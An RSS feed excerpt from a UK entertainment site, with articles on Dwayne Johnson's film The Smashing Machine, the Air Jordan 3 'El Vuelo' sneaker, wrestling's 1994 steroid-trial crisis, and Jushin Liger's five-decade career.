Venice artistic director Alberto Barbera praised Johnson as “absolutely amazing” in the role and suggested both Johnson and Blunt could be strong Oscar contenders next year. The Venice festival has often been a launchpad for awards-season frontrunners, with recent examples including Brendan Fraser’s The Whale and Adrien Brody’s The Brutalist — both also backed by A24, the distributor of The Smashing Machine.

Safdie, best known for co-directing Uncut Gems with his brother Josh, described the project as a study of identity and fragility hidden beneath a violent persona. “We wanted this movie to exist as a memory for everyone who watches it,” he said, calling the title “a perfect onomatopoeia for something visual, conjuring images of domination and destruction with ease.”

The Festival Context

The Smashing Machine is competing alongside Frankenstein, Bugonia, The Voice of Hind Rajab, La Grazia, and No Other Choice in this year’s Venice lineup. Winners will be announced on 6 September.

For Johnson, the film could mark the most important career reinvention since his shift from WWE to Hollywood. Whether it translates into Academy recognition remains to be seen, but the early buzz suggests that “The Rock” is finally being discussed in the same breath as Oscar contenders.

The Smashing Machine opens in North American cinemas on 3 October 2025.

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]]> https://deadformat.co.uk/johnson-sparks-oscar-buzz-with-the-smashing-machine-at-venice/feed/ 0 Dwayne Johnson Becomes “The Smashing Machine” https://deadformat.co.uk/dwayne-johnson-becomes-the-smashing-machine/ https://deadformat.co.uk/dwayne-johnson-becomes-the-smashing-machine/?noamp=mobile#respond Mon, 01 Sep 2025 14:42:55 +0000 https://deadformat.co.uk/?p=10462 Dwayne “The Rock” Johnson has revealed why he felt compelled to step away from the world of Hollywood blockbusters in favour of a more serious, dramatic project. Speaking at the Venice Film Festival ahead of the premiere of his new film The Smashing Machine, Johnson admitted he had a “burning desire” to pursue a role […]

The post Dwayne Johnson Becomes “The Smashing Machine” appeared first on DeadFormat.

]]> Dwayne “The Rock” Johnson has revealed why he felt compelled to step away from the world of Hollywood blockbusters in favour of a more serious, dramatic project. Speaking at the Venice Film Festival ahead of the premiere of his new film The Smashing Machine, Johnson admitted he had a “burning desire” to pursue a role unlike anything he’d tackled before.

Directed by Benny Safdie and co-starring Emily Blunt, The Smashing Machine sees Johnson portray former UFC fighter Mark Kerr, whose career and personal struggles made him one of the sport’s most complex figures. The part represents a striking departure for Johnson, best known for big-budget adventures like Jumanji, Moana, and Fast & Furious.

Reflecting on the shift, Johnson confessed that he had become defined by the chase for box office numbers. “When you’re in Hollywood, it becomes about box office,” he explained. “You chase the box office, and that can push you into a category. But I realised I had this burning desire, and a voice in my head saying, ‘What if there is more?’”

Johnson credited Emily Blunt—his co-star in Disney’s Jungle Cruise and here playing Kerr’s girlfriend Dawn Staples—with encouraging him to take the leap into more demanding dramatic territory.

The move also follows a turning point in Johnson’s blockbuster career. His 2022 DC film Black Adam was billed as the start of a new era, even teasing a future showdown with Henry Cavill’s Superman. But only weeks after its release, James Gunn and Peter Safran were appointed co-heads of DC Studios, choosing to reset the franchise entirely. Johnson’s ambitious plans for the character were shelved, with Gunn instead steering the DC Universe toward a fresh relaunch beginning with Superman in 2025.

Against that backdrop, Johnson’s choice to pivot away from superhero spectacle into raw, character-driven drama signals a new creative chapter—one less defined by box office categories and more by personal challenge.

The Smashing Machine premieres at Venice before its wide theatrical release on October 3rd, 2025.

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]]> https://deadformat.co.uk/dwayne-johnson-becomes-the-smashing-machine/feed/ 0 A Lucha Libre Bodyslam: The Air Jordan 3 ‘El Vuelo’ https://deadformat.co.uk/a-lucha-libre-bodyslam-the-air-jordan-3-el-vuelo/ https://deadformat.co.uk/a-lucha-libre-bodyslam-the-air-jordan-3-el-vuelo/?noamp=mobile#respond Sat, 30 Aug 2025 00:07:12 +0000 https://deadformat.co.uk/?p=10415 Official images of the Air Jordan 3 ‘El Vuelo’ have been revealed, showcasing a colourway that blends classic Jordan heritage with Mexican wrestling culture. Release details are expected soon, but this pair already looks like one of the year’s more memorable drops. The shoe’s design takes inspiration from lucha libre, a sport defined by colourful […]

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]]> Official images of the Air Jordan 3 ‘El Vuelo’ have been revealed, showcasing a colourway that blends classic Jordan heritage with Mexican wrestling culture. Release details are expected soon, but this pair already looks like one of the year’s more memorable drops.

The shoe’s design takes inspiration from lucha libre, a sport defined by colourful masks, dramatic characters, and bold style. Jagged leather overlays and snakeskin-textured panels bring a layered, patterned look, while bright red guards on the toe and heel add contrast. Green collars highlight the cultural connection, and metallic gold branding on the Jumpman and tongue provides a premium finish worthy of a special edition. Traditional elephant print elements also appear, keeping the shoe tied to its Air Jordan 3 roots.

Even the packaging tells a story. The box uses graphics inspired by vintage fight posters found across Mexico City, while “Más vale maña que fuerza” (“brains over brawn”) is stitched behind the tongue — a detail that nods to the strategy and showmanship of lucha libre.

Sneakers and wrestling have crossed over many times before. Rey Mysterio has sported custom mask-inspired pairs, Kofi Kingston has worn rare Travis Scott AJ1s in the ring, and wrestlers such as Brody King in his adidas boots continue to blur the line between performance footwear and wrestling culture. The Air Jordan 3 ‘El Vuelo’ builds on that connection, offering both sneaker fans and wrestling enthusiasts something unique.

Retailing at around $230, the Air Jordan 3 ‘El Vuelo’ is expected to release this September via Nike SNKRS, select Jordan Brand retailers, and likely through online raffles. With its cultural theme, special detailing, and premium execution, this drop is expected to be a fast sell-out and a must-have for collectors.

From Nike:

Following the ornate Air Jordan 5 “El Grito” in 2024, which honored Mexico’s War of Independence, Jordan Brand is continuing its celebration of Mexican heritage in 2025. This time, the spotlight shifts to Mexico City’s vibrant lucha libre tradition with the Air Jordan 3 OG “El Vuelo,” slated for a Fall 2025 release in an exclusive “Summit White” colorway.

MJ and lucha libre wrestlers share a reputation for taking flight—Michael Jordan for his gravity-defying drives to the rim, and luchadores for their fearless leaps over the ropes. This retro AJ3 pays homage to that shared spirit by highlighting an intangible part of the city’s cultural identity. Textured and shiny leather panels are paired with overlays inspired by luchador masks, all finished in the green, white, and red of the Mexican flag.

Supporting accents of Metallic Gold, Pine Green, Dragon Red, and Sail add depth to the Summit White base, while OG touches ensure the silhouette retains its classic DNA. Special packaging also adds to the storytelling, with a custom box styled like promotional posters advertising high-flying lucha libre matches.

Set at a premium price point in line with its elevated concept, the Air Jordan 3 OG “El Vuelo” will release in Fall 2025 via select Jordan Brand retailers. Enjoy official photos and campaign imagery of the retro ahead.

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]]> https://deadformat.co.uk/a-lucha-libre-bodyslam-the-air-jordan-3-el-vuelo/feed/ 0 The Summer of 1994: Wrestling in Crisis https://deadformat.co.uk/the-summer-of-1994-wrestling-in-crisis/ https://deadformat.co.uk/the-summer-of-1994-wrestling-in-crisis/?noamp=mobile#respond Thu, 28 Aug 2025 22:11:21 +0000 https://deadformat.co.uk/?p=10353 Over 30 years ago, in the summer of 1994, the wrestling world was shaken. Vince McMahon and the WWF were on trial for steroid distribution. The most high-profile witness for the prosecution had just left Vince’s employ: Hulk Hogan, who was making the jump from the WWF to WCW. At the time, many feared the […]

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]]> Over 30 years ago, in the summer of 1994, the wrestling world was shaken. Vince McMahon and the WWF were on trial for steroid distribution. The most high-profile witness for the prosecution had just left Vince’s employ: Hulk Hogan, who was making the jump from the WWF to WCW. At the time, many feared the WWF—and perhaps even pro wrestling itself—might not survive.

That notion now seems absurd. Like any staple of popular culture, wrestling changes—adapts, evolves, morphs—but endures with loyal fans and the ebb and flow of casual viewers. Back then, though, it felt like the end times for the WWF and a decisive shift towards WCW. While the former never came to pass, the latter did, and within a year, the Monday Night Wars ignited.

Wrestling’s Shaky Foundations in 1994

To understand why this period felt so fragile, you have to remember wrestling’s state in the early ’90s. WWF attendance was shrinking, Raw was still new and struggling to find its audience, and big arenas were being swapped for smaller markets. WCW, meanwhile, was largely considered a southern company, with Turner money but limited mainstream reach.

Add to that an increasingly cynical fanbase—one exposed to steroid headlines and disillusioned by cartoonish gimmicks—and wrestling’s image was battered. By the Summer of 1994, both WWF and WCW were in need of a spark.

Hogan’s WWF Farewell

Hulk Hogan’s exit from the WWF was anything but gracious. Vince McMahon had hyped Hogan versus Sid Justice at WrestleMania VIII as possibly Hogan’s last match. Hogan returned at WrestleMania IX for another supposed farewell, tagging with Brutus Beefcake against Money Inc. In an unexpected twist, Hogan ended the night as WWF Champion, defeating Yokozuna in under ten seconds after Yokozuna had just dethroned Bret Hart. At King of the Ring 1993, Hogan wrestled his last WWF match of the decade, losing the belt back to Yokozuna.

Although everything was set up for Hogan to return and reclaim the title, negotiations fell through. Hogan claimed he was more interested in pursuing movies. Instead, Lex Luger stepped into the spotlight, famously bodyslamming Yokozuna on the U.S.S. Intrepid on July 4, 1993. Fans aboard the Intrepid, expecting Hogan, even chanted his name as Luger arrived.

The Steroid Shadow

Hogan has always known when to exit a scene. When the Dr. Zahorian trial in 1991 revealed Hogan’s name as a client, he was thrust under intense media scrutiny. He was the sport’s most famous face, the man telling kids they could achieve his physique through training, prayers, and vitamins. His appearance on The Arsenio Hall Show only worsened matters when he downplayed his steroid use, admitting only to recovery-related use.

Ever wonder why Hogan vanished from WWF TV between WrestleMania VIII and IX? That’s why. WWF edited the 1992 Royal Rumble and WrestleMania VIII crowd reactions for later releases, but live broadcasts told the truth: Hogan was booed heavily, while Sid Justice received cheers. Fans were turning on Hogan, associating him with steroids and hypocrisy. To escape the backlash, Hogan stepped away for nearly a year.

Vince on Trial

In spring 1994, McMahon was indicted by a grand jury after two years of investigation and taken to federal court on steroid distribution charges. Unlike the Zahorian trial, the federal case against McMahon was flimsy. Hogan testified, but repeated the same excuses he had given on Arsenio. There was no solid evidence tying McMahon directly to a conspiracy.

Mainstream media covered the trial daily. Newspapers, talk shows, and nightly news reports painted the WWF as a haven for steroid abuse. Advertisers grew wary, parents questioned wrestling’s influence on children, and fans simply tuned out.

On July 22, during the summer of 1994, after a short trial, McMahon was acquitted. He even celebrated in a neck brace, a theatrical reminder of his ongoing battles. But while Vince walked free, the WWF’s image was in tatters.

Hogan Finds a New Home in WCW

While Vince was on trial, Hogan was busy filming Thunder in Paradise at Disney MGM in Orlando—the same site WCW used for syndicated tapings. With promises of movie and TV deals, plus top billing on WCW pay-per-views, Hogan signed with Ted Turner’s WCW. Summer of 1994, July 17, Hogan debuted in the promotion, defeating Ric Flair for the WCW World Heavyweight Championship at Bash at the Beach.

The reaction was divided. While Hogan’s star power brought mainstream attention, many WCW loyalists booed him immediately, unhappy to see Flair lose and sceptical of Hogan’s presence. This tension would define his WCW run until his eventual heel turn.

WCW Becomes WWF 2.0

For loyal WCW fans, Hogan’s arrival felt like a betrayal. He brought his WWF buddies along—Brutus Beefcake, Earthquake, Randy Savage, Hacksaw Jim Duggan, and The Nasty Boys. Duggan even defeated “Stunning” Steve Austin, one of WCW’s best young stars, for the U.S. Title. Storylines echoed old WWF angles, including Andre the Giant’s “kayfabe son” and even Zeus, repackaged as Z-Gangsta.

It wasn’t WCW anymore. Fans like me were rooting for Flair and Vader to topple Hogan, but booking always kept Hogan strong. By late ’94 and into ’95, WCW crowds regularly booed him. The Hulkamania routine was stale, and Hogan’s refusal to lose cleanly frustrated viewers.

The NWO Changes Everything

After disappearing again in 1995, Hogan re-emerged at Bash at the Beach 1996 as the shocking third man of the New World Order. The heel turn worked. The NWO storyline revolutionised wrestling with its faction warfare, reality-based promos, and “cool heel” energy. Eric Bischoff played the evil boss long before McMahon’s Mr. McMahon character cemented the archetype.

The NWO’s success forced the WWF to adapt, launching the Attitude Era. Within two years, the industry was thriving again, and the Monday Night Wars captivated fans worldwide.

What If Hogan Never Left?

Fans still debate the hypothetical: “What if Hulk Hogan had never left the WWF?” But the truth is, Hogan was never going to stay in what looked like a sinking ship. His move to WCW set the stage for wrestling’s rebirth. Ironically, WCW firing Steve Austin in 1994 cleared the way for him to join ECW, then WWF, where he became Stone Cold—the very star who spearheaded the WWF’s comeback.

Without Hogan’s WCW run, the NWO may never have happened, Austin may never have risen, and WWE as we know it might not exist.

Wrestling Endures

Looking back more than 30 years later, the summer of 1994 no longer feels like the end of wrestling but a crucial pivot point. Wrestling survived scandals, courtroom drama, and fan disillusionment. It emerged stronger, reshaped by Hogan’s move to WCW and McMahon’s acquittal.

What endures is the lesson that wrestling, no matter the controversy, is nearly indestructible. Both Vince McMahon and Hulk Hogan may forever be linked to scandal, even in death, but they also played central roles in ensuring wrestling’s survival.

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]]> https://deadformat.co.uk/the-summer-of-1994-wrestling-in-crisis/feed/ 0 Jushin Liger – Wrestling’s Masked Icon Across Five Decades https://deadformat.co.uk/jushin-liger-wrestlings-masked-icon-across-five-decades/ https://deadformat.co.uk/jushin-liger-wrestlings-masked-icon-across-five-decades/?noamp=mobile#respond Thu, 28 Aug 2025 15:01:52 +0000 https://deadformat.co.uk/?p=10346 On January 5, 2020, at Wrestle Kingdom 14, Jushin Liger wrestled the final match of his legendary career. In doing so, he joined the elite club of wrestlers who competed across five different decades—the 1980s, 1990s, 2000s, 2010s, and 2020s. His retirement wasn’t just the end of an era for NJPW; it was a farewell […]

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]]> On January 5, 2020, at Wrestle Kingdom 14, Jushin Liger wrestled the final match of his legendary career. In doing so, he joined the elite club of wrestlers who competed across five different decades—the 1980s, 1990s, 2000s, 2010s, and 2020s. His retirement wasn’t just the end of an era for NJPW; it was a farewell to one of the most important figures in the history of professional wrestling.

Liger and Rikidōzan – A Legacy Connection

Although Jushin Liger and Rikidōzan never crossed paths—Rikidōzan died in 1963, the year before Liger was born—the two are linked through legacy. Rikidōzan laid the foundation for Japanese wrestling in the 1950s, inspiring future promotions like NJPW, where Liger became a star. Without Rikidōzan’s pioneering work, the stage for Liger’s five-decade career may never have existed.

From the Dawn of Hulkamania to the Modern Era

Liger debuted on March 3, 1984, just weeks after Hulk Hogan defeated The Iron Sheik to launch Hulkamania. While Hogan went on to dominate American pop culture, Liger became a global constant, embodying a very different vision of wrestling. Where Hogan was spectacle, Liger was substance—reliable, consistent, and always innovative.

Innovator of the High-Flying Style

Long before Kenny Omega, Will Ospreay, or PAC thrilled fans with aerial artistry, Jushin Liger was setting the standard. His blend of explosive dives, submission wrestling, and crisp power moves influenced generations of cruiserweights. The Liger Bomb (sit-out powerbomb) remains a staple today, while his variations of the Shooting Star Press and surfboard submissions were decades ahead of their time.

His legendary series with Naoki Sano in 1989–90 showcased the Junior Heavyweight style at its absolute peak, while matches with stars like Ultimo Dragon and The Great Sasuke brought Japanese high-flying wrestling into international spotlight.

The Monday Night Wars and WCW Fame

When WCW launched Nitro in 1995, Eric Bischoff made a bold choice: the very first match would be Brian Pillman vs. Jushin Liger. The contest set the tone for WCW’s cruiserweight revolution.

From there, Liger helped pave the way for a division that would introduce U.S. fans to names like Chris Jericho, Eddie Guerrero, Rey Mysterio, and Chris Benoit. These wrestlers carried the cruiserweight ethos into the mainstream, but it was Liger’s pioneering style that proved smaller athletes could steal the show.

NJPW Legend and Junior Heavyweight King

In New Japan, Jushin Liger became the undisputed face of the Junior Heavyweight division. His accolades include:

  • 11-time IWGP Junior Heavyweight Champion
  • Multiple-time J-Crown champion
  • Over 2,200 combined days as champion—more than double the next closest competitor
  • Dozens of standout performances in Best of the Super Juniors tournaments

Modern stars like Kushida, Finn Bálor (Fergal Devitt), and Will Ospreay all followed the path Liger helped build. Even heavyweights such as Harley Race, Ricky Steamboat, and Stone Cold Steve Austin respected his ability to make smaller wrestlers headline material.

A Global Career Beyond Japan

What makes Liger unique is how far-reaching his influence was. He competed in almost every major promotion worldwide, including:

  • WWF/E – wrestling in 1990 and returning an incredible 25 years later in 2015 to face Tyler Breeze at NXT TakeOver: Brooklyn
  • WCW – one of the earliest Japanese stars to become a U.S. television regular
  • ROH – bringing credibility to its early years with marquee matches
  • TNA/Impact Wrestling – appearing in the X Division, which was built in his image
  • CMLL in Mexico – carrying lucha libre traditions into Japan and vice versa
  • Pro Wrestling NOAH and PWG – bridging generations and continents

Very few wrestlers—perhaps only legends like Terry Funk, The Wild Samoans, or The Undertaker—can claim such breadth of global influence.

Personality and Character

Unlike many masked wrestlers who relied on mystique or darkness, Jushin Liger was inspired by anime and designed as a colourful superhero. This instantly connected him with children and casual fans while still giving hardcore audiences elite wrestling matches. His mask and costume became as iconic as his moves, making him one of the most recognisable wrestlers in the world.

A Retirement with Class

Liger’s final two matches at Wrestle Kingdom 14 were everything a farewell should be: emotional, competitive, and respectful of tradition. He went out on his back, allowing the next generation to shine. In an era where stars like Hogan and others often resisted doing the honours, Liger retired with dignity, his reputation untarnished.

Liger vs. Dustin Rhodes: Parallel Paths

Though their careers rarely crossed—sharing only a brief moment together at Starrcade 1991’s Battle Bowl—Jushin Liger and Dustin Rhodes now share an everlasting bond. Both wrestled in five different decades, adapting to the industry’s many shifts, and both proved that longevity and reinvention are possible with passion and resilience.

Dustin Rhodes – Five Decades of Wrestling Excellence

The Legacy of Jushin Liger

Liger was inducted into the Wrestling Observer Newsletter Hall of Fame in 1999, and in 2020, WWE honoured him with induction into their Hall of Fame class. His accolades and influence extend far beyond championships.

He inspired generations of cruiserweights, helped globalise Japanese wrestling, and proved that a masked hero could be every bit as important to wrestling as a Hulk Hogan or a Stone Cold Steve Austin.

Jushin Liger may have retired in 2020, but his legacy remains alive every time a masked wrestler takes flight, every time junior heavyweights headline a card, and every time fans remember the bright, fiery figure who stood as wrestling’s superhero for over 35 years.

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]]> https://deadformat.co.uk/jushin-liger-wrestlings-masked-icon-across-five-decades/feed/ 0